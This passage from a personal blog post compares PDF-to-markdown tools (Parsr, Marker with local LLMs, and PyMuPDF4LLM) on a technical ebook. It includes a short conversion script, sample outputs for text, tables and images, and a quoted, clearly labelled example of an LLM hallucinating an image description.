UPDATE I tried a different model - the new gemma3n model “for efficient execution on everyday devices” - and it was drastically faster. Under 3 minutes. So there must have been some massive bottleneck using gemma3? But - the gemma3n output had some major flaws - hallucinations in tables, for instance! I need to investigate this more when I have time.

PyMyPDF

Finally, I tried a Python library - a bit of digging suggested PyMuPDF which is very popular and has a specific PyMyPDF4LLM model for LLM use.

I wrote (well, Claude mostly wrote) a very simple script:

#!/usr/bin/env -S uv run
# /// script
# requires-python = ">=3.8"
# dependencies = [
#     "pymupdf4llm",
# ]
# ///
import sys
import pathlib
import pymupdf4llm

def convert_pdf_to_markdown(pdf_path, output_path):
    md_text = pymupdf4llm.to_markdown(pdf_path)
    pathlib.Path(output_path).write_bytes(md_text.encode())
    return output_path


def main():
    pdf_file = sys.argv[1]
    output_file = sys.argv[2]
    convert_pdf_to_markdown(pdf_file, output_file)

if __name__ == "__main__":
    main()

(Claude’s script had more logging and error checking, I’ve trimmed it down for this blog)

This was very fast by comparison with the others - the same 12MB file took 28 seconds to convert!

The output wasn’t great - but it was probably fine for LLM summaries, if you don’t mind losing some sense of the content of tables, and skipping images almost entirely.

What did I use as a test document?

I used “The Design of Web APIs” by Arnaud Lauret as my test document. The choice was somewhat random - I had it in my ebook collection, and it seemed like a good mix of text, diagrams, code samples, and tables that would test the various parsing tools.

The PDF was 12MB in size, with 396 pages and a nice mix of text, diagrams, code snippets and tables.

Output comparison

Basic text

Basic text shouldn’t be too hard, you’d think. Here is a sample from the ebook:

Parsr handled this relatively OK, but it didn’t handle words split by a line ending at all well:

What do people do when they shop online? Well, they buy some products. And how do they buy these products? They add them to their shopping cart and then check out. Nothing new for these two frst questions. Let’s now dig into each step to determine its inputs and outputs.  
We’ll start with the add products to the cart goal. What do people need to add a prod- uct to a cart? They obviously need a product and a cart. Good, and do they get some- thing in return when they add a product to their cart? No. Well, these new questions do not seem to give us any really useful information; the answers are quite obvious. Maybe we will get something more interesting for the check out step  

Also, it couldn’t read the word “first”! “Nothing new for these two frst questions” - I guess “first” was using a ligature that the parser didn’t understand?

PyMyPdf and Marker both handled hyphenated words at line endings successfully - but both also stumbled on “frst”.

(I won’t include samples as they are basically the same as the above, but with “product” and “something” as single words)

Code snippets

All the tools did a decent job of recognising code snippets - I think they tend to be in a monospace font which makes recognising them easier.

Tables

Tables are fiddly as they aren’t stored as tabular info in the pdf, just as text with positions:

Parsr didn’t cope well with the row separation:

Marker did much better:

PyMyPdf was similar to Parsr

Images

Images it turns out seem to get processed in a few ways depending on the content; and also the tools. Parsr was configured to generate markdown with images, so it sometimes tried to interpret images, and sometimes just copied them - this makes some sense, as if the image is actually a table you’d prefer it to be turned into markdown.

Whereas PyMyPdf didn’t really have any explicit handling for images, it would just try to parse them as text; and Marker with the --disable_image_extraction parameter tried to replace images with descriptions if they weren’t otherwise identifiable.

I’ll split images into a few key types as they get handled quite differently:

Diagrams

Diagrams have text and boxes in them - the results were a bit of a mixed bag.

Parsr tried to just turn it into text, and didn’t do so well - but it’s still better than the others in this case:

What do people want to do when they

How do people use an oven?

heat food?

They heat food  
Heat food They want to  
at?a given power  
at power heat food!  
for a given duration.  
for duration

Whats Hows Goals

Investigate what is done and how it is done...  
...to identify goals

Marker actually failed to process this one at all. In other cases it did OK with text descriptions, but never great. This was possibly a limitation of the free LLM it used.

PyMyPdf also did pretty badly:

What do people

Investigate what is done and how it is done... ...to identify goals

Interestingly, I asked Claude Code to process this same image into a mermaid.js snippet - it’d be very cool to have a pdf parser that could do this, when appropriate:

flowchart TB
    %% Speech bubbles (using stadium shape as approximation)
    Q1("What do people<br/>want to do when they<br/>use an oven?")
    Q2("How do people<br/>heat food?")
    
    %% White boxes
    W1[They want to<br/>heat food!]
    W2[They heat food<br/>at a given power<br/>for a given duration.]
    
    %% Black box (goal)
    G[Heat food<br/>at power<br/>for duration]:::goal
    
    %% Bottom boxes
    Whats[Whats]
    Hows[Hows]
    Goals[Goals]:::goal
    
    %% Connections
    Q1 --> W1
    Q2 --> W2
    W2 --> G
    
    %% Bottom flow
    Whats --> Hows --> Goals
    
    %% Vertical connections (dashed)
    W1 -.-> Whats
    W2 -.-> Hows
    G -.-> Goals
    
    %% Bottom labels (using invisible nodes for positioning)
    subgraph bottom [" "]
        direction LR
        inv1[Investigate what is done and how it is done...]:::invisible
        inv2[...to identify goals]:::invisible
    end
    
    %% Styling
    classDef goal fill:#000,color:#fff
    classDef invisible fill:transparent,stroke:none
    
    %% Hide subgraph box
    style bottom fill:transparent,stroke:none

Screenshots

Parsr just saved this as an image - probably the best option for a mixed markdown-and-images output.

Marker made a table - this is a decent effort, though given the limitations of markdown tables it couldn’t really make it work. You can also see the limitations of OCR on small text:

PyMyPdf, unsurprisingly, didn’t even try with this one.

Photos

Parsr naturally just saved this as an image.

Marker did … poorly:

Image /page/22/Picture/1 description: A bar chart titled "Fruit Preference Survey" is shown. The x-axis shows the types of fruits, and the y-axis shows the number of people. The bar chart shows that most people prefer apples, followed by bananas and oranges. 20 people prefer apples, 15 people prefer bananas, and 10 people prefer oranges.

I guess the LLM misinterpreted the books and turned them into a barchart hallucination? Not so good, gemma3 model.

PyMyPdf didn’t even try to handle the image.

Claude Code, by comparison, did a great job - so Marker with a commercial LLM would probably produce something similar:

This is a photo of a man with glasses and a beard, wearing a dark blue
  t-shirt with "RESPECT API GUIDELINES" text on it. He's standing in front
  of a white bookshelf filled with technical books and what appears to be
  board games. The person appears to be in a home office or study setting.

Conclusion

This was a kind-of fun digression. I think it’s pretty clear though that I have basically two (or three?) options here:

1. If I just want an LLM to summarize an ebook that is mostly text, PyMyPdf is fine. It’s fast, easy, and there’s enough context for it to work with.
2. If I want a full markdown version of an ebook, for detailed analysis or copying sections to Obsidian or something, it’d be worth using Marker - though maybe not with the “images as descriptions” setting.
   • Using a free ollama LLM can be fine if I have lots of time, don’t mind some spurious descriptions, and can fiddle models / time. (this needs investigation)
   • But maybe if I wanted something higher quality, it’d be worth using it with a commercial LLM.